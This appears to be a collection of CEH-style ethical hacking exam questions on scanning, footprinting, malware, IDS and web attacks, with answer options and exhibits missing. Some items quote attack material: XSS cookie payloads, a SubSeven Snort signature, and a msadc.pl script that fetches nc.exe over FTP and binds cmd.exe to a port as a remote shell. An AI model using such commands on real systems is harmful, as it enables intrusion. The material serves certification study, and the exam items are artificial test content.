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In TCP communications there are 8 flags; FIN, SYN, RST, PSH, ACK, URG, ECE, CWR. These flags have decimal numbers assigned to them:
FIN = 1
SYN = 2
RST = 4
PSH = 8
ACK = 16
URG = 32
ECE = 64
CWR =128
Example: To calculate SYN/ACK flag decimal value, add 2 (which is the decimal value of the SYN flag) to 16 (which is the decimal value of the ACK flag), so the result would be 18.
Based on the above calculation, what is the decimal value for XMAS scan?
Which of the following steganography utilities exploits the nature of white space and allows the user to conceal information in these white spaces?
This is an example of whois record.
Sometimes a company shares a little too much information on their organization through public domain records. Based on the above whois record, what can an attacker do? (Select 2 answers)
Buffer X in an Accounting application module for Brownies Inc. can contain 200 characters. The programmer makes an assumption that 200 characters are more than enough. Because there were no proper boundary checks being conducted, Bob decided to insert 400 characters into the 200-character buffer. (Overflows the buffer). Below is the code snippet:
How can you protect/fix the problem of your application as shown above?
Attackers send an ACK probe packet with random sequence number, no response means port is filtered (Stateful firewall is present) and RST response means the port is not filtered. What type of Port Scanning is this?
You are gathering competitive intelligence on an organization. You notice that they have jobs listed on a few Internet job-hunting sites. There are two jobs for network and system administrators. How can this help you in foot printing the organization?
E-mail tracking is a method to monitor and spy the delivered e-mails to the intended recipient.
Select a feature, which you will NOT be able to accomplish with this probe?
What techniques would you use to evade IDS during a Port Scan? (Select 4 answers)
What type of Virus is shown here?
Which of the following is NOT part of CEH Scanning Methodology?
What framework architecture is shown in this exhibit?
Jason is the network administrator of Spears Technology. He has enabled SNORT IDS to detect attacks going through his network. He receives Snort SMS alerts on his iPhone whenever there is an attempted intrusion to his network.
He receives the following SMS message during the weekend.
An attacker Chew Siew sitting in Beijing, China had just launched a remote scan on Jason's network with the hping command.
Which of the following hping2 command is responsible for the above snort alert?
In Trojan terminology, what is a covert channel?
An Attacker creates a zuckerjournals.com website by copying and mirroring HACKERJOURNALS.COM site to spread the news that Hollywood actor Jason Jenkins died in a car accident. The attacker then submits his fake site for indexing in major search engines. When users search for "Jason Jenkins", attacker's fake site shows up and dupes victims by the fake news.
This is another great example that some people do not know what URL's are. Real website:
Fake website: http://www.zuckerjournals.com
The website is clearly not WWW.HACKERJOURNALS.COM. It is obvious for many, but unfortunately some people still do not know what an URL is. It's the address that you enter into the address bar at the top your browser and this is clearly not legit site, its www.zuckerjournals.com
How would you verify if a website is authentic or not?
In which step Steganography fits in CEH System Hacking Cycle (SHC)
What type of attack is shown here?
NTP allows you to set the clocks on your systems very accurately, to within 100ms and sometimes-even 10ms. Knowing the exact time is extremely important for enterprise security. Various security protocols depend on an accurate source of time information in order to prevent "playback" attacks. These protocols tag their communications with the current time, to prevent attackers from replaying the same communications, e.g., a login/password interaction or even an entire communication, at a later date. One can circumvent this tagging, if the clock can be set back to the time the communication was recorded. An attacker attempts to try corrupting the clocks on devices on your network. You run Wireshark to detect the NTP traffic to see if there are any irregularities on the network. What port number you should enable in Wireshark display filter to view NTP packets?
Which of the following is a common Service Oriented Architecture (SOA) vulnerability?
A hacker, who posed as a heating and air conditioning specialist, was able to install a sniffer program in a switched environment network. Which attack could the hacker use to sniff all of the packets in the network?
June, a security analyst, understands that a polymorphic virus has the ability to mutate and can change its known viral signature and hide from signature-based antivirus programs. Can June use an antivirus program in this case and would it be effective against a polymorphic virus?
When an alert rule is matched in a network-based IDS like snort, the IDS does which of the following?
What do you call a pre-computed hash?
John runs a Web server, IDS and firewall on his network. Recently his Web server has been under constant hacking attacks. He looks up the IDS log files and sees no intrusion attempts but the Web server constantly locks up and needs rebooting due to various brute force and buffer overflow attacks but still the IDS alerts no intrusion whatsoever. John becomes suspicious and views the Firewall logs and he notices huge SSL connections constantly hitting his Web server. Hackers have been using the encrypted HTTPS protocol to send exploits to the Web server and that was the reason the IDS did not detect the intrusions. How would John protect his network from these types of attacks?
A company has made the decision to host their own email and basic web services. The administrator needs to set up the external firewall to limit what protocols should be allowed to get to the public part of the company's network. Which ports should the administrator open? (Choose three.)
Here is the ASCII Sheet.
You want to guess the DBO username juggyboy (8 characters) using Blind SQL Injection technique.
What is the correct syntax?
You are writing security policy that hardens and prevents Footprinting attempt by Hackers. Which of the following countermeasures will NOT be effective against this attack?
Which tool is used to automate SQL injections and exploit a database by forcing a given web application to connect to another database controlled by a hacker?
Simon is security analyst writing signatures for a Snort node he placed internally that captures all mirrored traffic from his border firewall. From the following signature, what will Snort look for in the payload of the suspected packets?
alert tcp $EXTERNAL_NET any -> $HOME_NET 27374 (msG. "BACKDOOR SIG - SubSseven 22";flags: A+; content: "|0d0a5b52504c5d3030320d0a|"; reference:arachnids,485;) alert
When utilizing technical assessment methods to assess the security posture of a network, which of the following techniques would be most effective in determining whether end-user security training would be beneficial?
Jake is a network administrator who needs to get reports from all the computer and network devices on his network. Jake wants to use SNMP but is afraid that won't be secure since passwords and messages are in clear text. How can Jake gather network information in a secure manner?
The GET method should never be used when sensitive data such as credit card is being sent to a CGI program. This is because any GET command will appear in the URL, and will be logged by any servers. For example, let's say that you've entered your credit card information into a form that uses the GET method. The URL may appear like this:
https://www.xsecurity-bank.com/creditcard.asp?cardnumber=453453433532234
The GET method appends the credit card number to the URL. This means that anyone with access to a server log will be able to obtain this information. How would you protect from this type of attack?
Passive reconnaissance involves collecting information through which of the following?
In the context of password security: a simple dictionary attack involves loading a dictionary file (a text file full of dictionary words) into a cracking application such as L0phtCrack or John the Ripper, and running it against user accounts located by the application. The larger the word and word fragment selection, the more effective the dictionary attack is. The brute force method is the most inclusive - though slow. Usually, it tries every possible letter and number combination in its automated exploration. If you would use both brute force and dictionary combined together to have variations of words, what would you call such an attack?
What type of Virus is shown here?
Attackers footprint target Websites using Google Hacking techniques. Google hacking is a term that refers to the art of creating complex search engine queries. It detects websites that are vulnerable to numerous exploits and vulnerabilities. Google operators are used to locate specific strings of text within the search results.
The configuration file contains both a username and a password for an SQL database. Most sites with forums run a PHP message base. This file gives you the keys to that forum, including FULL ADMIN access to the database. WordPress uses config.php that stores the database Username and Password.
Which of the below Google search string brings up sites with "config.php" files?
David is a security administrator working in Boston. David has been asked by the office's manager to block all POP3 traffic at the firewall because he believes employees are spending too much time reading personal email. How can David block POP3 at the firewall?
This attack uses social engineering techniques to trick users into accessing a fake Web site and divulging personal information. Attackers send a legitimate-looking e-mail asking users to update their information on the company's Web site, but the URLs in the e-mail actually point to a false Web site.
Jack Hacker wants to break into Brown Co.'s computers and obtain their secret double fudge cookie recipe. Jack calls Jane, an accountant at Brown Co., pretending to be an administrator from Brown Co. Jack tells Jane that there has been a problem with some accounts and asks her to verify her password with him ''just to double check our records.'' Jane does not suspect anything amiss, and parts with her password. Jack can now access Brown Co.'s computers with a valid user name and password, to steal the cookie recipe. What kind of attack is being illustrated here?
Consider the following code:
<a href="URL:http://www.certified.com/search.pl?">URL:http://www.certified.com/search.pl?</a>
text=<script>alert(document.cookie)</script>
If an attacker can trick a victim user to click a link like this, and the Web application does not validate input, then the victim's browser will pop up an alert showing the users current set of cookies. An attacker can do much more damage, including stealing passwords, resetting your home page, or redirecting the user to another Web site.
What is the countermeasure against XSS scripting?
How do you defend against ARP Spoofing? Select three.
Your computer is infected by E-mail tracking and spying Trojan. This Trojan infects the computer with a single file - emos.sys
Which step would you perform to detect this type of Trojan?
Anonymizer sites access the Internet on your behalf, protecting your personal information from disclosure. An anonymizer protects all of your computer's identifying information while it surfs for you, enabling you to remain at least one step removed from the sites you visit.
You can visit Web sites without allowing anyone to gather information on sites visited by you. Services that provide anonymity disable pop-up windows and cookies, and conceal visitor's IP address.
These services typically use a proxy server to process each HTTP request. When the user requests a Web page by clicking a hyperlink or typing a URL into their browser, the service retrieves and displays the information using its own server. The remote server (where the requested Web page resides) receives information on the anonymous Web surfing service in place of your information.
In which situations would you want to use anonymizer? (Select 3 answers)
While performing a ping sweep of a local subnet you receive an ICMP reply of Code 3/Type 13 for all the pings you have sent out. What is the most likely cause of this?
Joel and her team have been going through tons of garbage, recycled paper, and other rubbish in order to find some information about the target they are attempting to penetrate. How would you call this type of activity?
Annie has just succeeded in stealing a secure cookie via a XSS attack. She is able to replay the cookie even while the session is invalid on the server. Why do you think this is possible?
How do you defend against DHCP Starvation attack?
In the context of Trojans, what is the definition of a Wrapper?
The following script shows a simple SQL injection. The script builds an SQL query by concatenating hard-coded strings together with a string entered by the user:
The user is prompted to enter the name of a city on a Web form. If she enters Chicago, the query assembled by the script looks similar to the following:
SELECT * FROM OrdersTable WHERE ShipCity = 'Chicago'
How will you delete the OrdersTable from the database using SQL Injection?
What is the best defense against privilege escalation vulnerability?
Which cipher encrypts the plain text digit (bit or byte) one by one?
An attacker uses a communication channel within an operating system that is neither designed nor intended to transfer information. What is the name of the communications channel?
Harold is the senior security analyst for a small state agency in New York. He has no other security professionals that work under him, so he has to do all the security-related tasks for the agency. Coming from a computer hardware background, Harold does not have a lot of experience with security methodologies and technologies, but he was the only one who applied for the position. Harold is currently trying to run a Sniffer on the agency's network to get an idea of what kind of traffic is being passed around, but the program he is using does not seem to be capturing anything. He pours through the Sniffer's manual, but cannot find anything that directly relates to his problem. Harold decides to ask the network administrator if he has any thoughts on the problem. Harold is told that the Sniffer was not working because the agency's network is a switched network, which cannot be sniffed by some programs without some tweaking. What technique could Harold use to sniff his agency's switched network?
A consultant is hired to do physical penetration testing at a large financial company. In the first day of his assessment, the consultant goes to the company`s building dressed like an electrician and waits in the lobby for an employee to pass through the main access gate, then the consultant follows the employee behind to get into the restricted area. Which type of attack did the consultant perform?
Which of the following is a preventive control?
During a penetration test, a tester finds that the web application being analyzed is vulnerable to Cross Site Scripting (XSS). Which of the following conditions must be met to exploit this vulnerability?
A pentester gains acess to a Windows application server and needs to determine the settings of the built-in Windows firewall. Which command would be used?
A botnet can be managed through which of the following?
Which of the following is a strong post designed to stop a car?
What is the name of the international standard that establishes a baseline level of confidence in the security functionality of IT products by providing a set of requirements for evaluation?
Which property ensures that a hash function will not produce the same hashed value for two different messages?
Which Windows system tool checks integrity of critical files that has been digitally signed by Microsoft?
A newly discovered flaw in a software application would be considered which kind of security vulnerability?
Fingerprinting VPN firewalls is possible with which of the following tools?
A tester has been using the msadc.pl attack script to execute arbitrary commands on a Windows NT4 web server. While it is effective, the tester finds it tedious to perform extended functions. On further research, the tester come across a perl script that runs the following msadc functions:system("perl msadc.pl -h $host -C \"echo open $your >testfile\""); system("perl msadc.pl -h $host -C \"echo $user>>testfile\""); system("perl msadc.pl -h $host -C \"echo $pass>>testfile\""); system("perl msadc.pl -h $host -C \"echo bin>>testfile\""); system("perl msadc.pl -h $host -C \"echo get nc.exe>>testfile\""); system("perl msadc.pl -h $host -C \"echo get hacked.html>>testfile\""); ("perl msadc.pl -h $host -C \"echo quit>>testfile\""); system("perl msadc.pl -h $host -C \"ftp \-s\:testfile\""); $o=; print "Opening ...\n"; system("perl msadc.pl -h $host -C \"nc -l -p $port -e cmd.exe\"");
Which exploit is indicated by this script?
When creating a security program, which approach would be used if senior management is supporting and enforcing the security policy?
While testing the company's web applications, a tester attempts to insert the following test script into the search area on the company's web sitE.
<script>alert(" Testing Testing Testing ")</script>
Afterwards, when the tester presses the search button, a pop-up box appears on the screen with the text: "Testing Testing Testing". Which vulnerability has been detected in the web application?
Which of the following programs is usually targeted at Microsoft Office products?
A hacker was able to sniff packets on a company's wireless network. The following information was discovereD.
The Key 10110010 01001011
The Cyphertext 01100101 01011010
Using the Exlcusive OR, what was the original message?
Which types of detection methods are employed by Network Intrusion Detection Systems (NIDS)? (Choose two.)
To reduce the attack surface of a system, administrators should perform which of the following processes to remove unnecessary software, services, and insecure configuration settings?
A hacker is attempting to use nslookup to query Domain Name Service (DNS). The hacker uses the nslookup interactive mode for the search. Which command should the hacker type into the command shell to request the appropriate records?
Which NMAP feature can a tester implement or adjust while scanning for open ports to avoid detection by the network’s IDS?
Which method can provide a better return on IT security investment and provide a thorough and comprehensive assessment of organizational security covering policy, procedure design, and implementation?
The following is part of a log file taken from the machine on the network with the IP address of 192.168.1.106:
Time:Mar 13 17:30:15 Port:20 Source:192.168.1.103 Destination:192.168.1.106 Protocol:TCP
Time:Mar 13 17:30:17 Port:21 Source:192.168.1.103 Destination:192.168.1.106 Protocol:TCP
Time:Mar 13 17:30:19 Port:22 Source:192.168.1.103 Destination:192.168.1.106 Protocol:TCP
Time:Mar 13 17:30:21 Port:23 Source:192.168.1.103 Destination:192.168.1.106 Protocol:TCP
Time:Mar 13 17:30:22 Port:25 Source:192.168.1.103 Destination:192.168.1.106 Protocol:TCP
Time:Mar 13 17:30:23 Port:80 Source:192.168.1.103 Destination:192.168.1.106 Protocol:TCP
Time:Mar 13 17:30:30 Port:443 Source:192.168.1.103 Destination:192.168.1.106 Protocol:TCP
What type of activity has been logged?
How does an operating system protect the passwords used for account logins?
How can rainbow tables be defeated?
A bank stores and processes sensitive privacy information related to home loans. However, auditing has never been enabled on the system. What is the first step that the bank should take before enabling the audit feature?